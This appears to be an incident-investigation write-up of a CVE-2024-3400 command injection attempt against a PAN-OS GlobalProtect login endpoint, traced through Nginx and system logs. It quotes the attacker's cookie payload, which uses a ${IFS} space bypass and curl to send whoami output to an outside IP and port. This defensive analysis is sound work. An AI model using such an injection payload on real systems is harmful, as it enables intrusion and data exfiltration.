
Investigation of a PAN-OS CVE-2024-3400 command injection attempt, analyzing payload delivery, internal processing, and execution validation based on log evidence.
This project documents the investigation of a CVE-2024-3400 command injection attempt targeting a PAN-OS GlobalProtect service.
The goal was to determine:
A critical alert was triggered indicating a possible exploitation attempt.

The request contains a crafted cookie:
SESSID=... curl${IFS}144.172.79.92:4444?user=$(whoami)

${IFS} bypasses space filteringwhoami attempts to retrieve system identitycurl attempts outbound communicationThis is a command injection payload
Nginx logs confirm the request reached the server:
POST /global-protect/login.esp
HTTP 200
User-Agent: curl

The malicious request was accepted and processed.
System logs show the payload reached internal logic:

dt_curl)However:
DNS lookup failed → outbound failed
The attacking IP:

This confirms external attacker origin.
Multiple IPs interacted with the system before the attack:

Only 144.172.79.92 is directly tied to the exploit.
This was a real command injection attempt.
The attacker successfully:
However:
there is no confirmed execution or system compromise
Command Injection Attempt
Payload Processed - No Confirmed Execution or Impact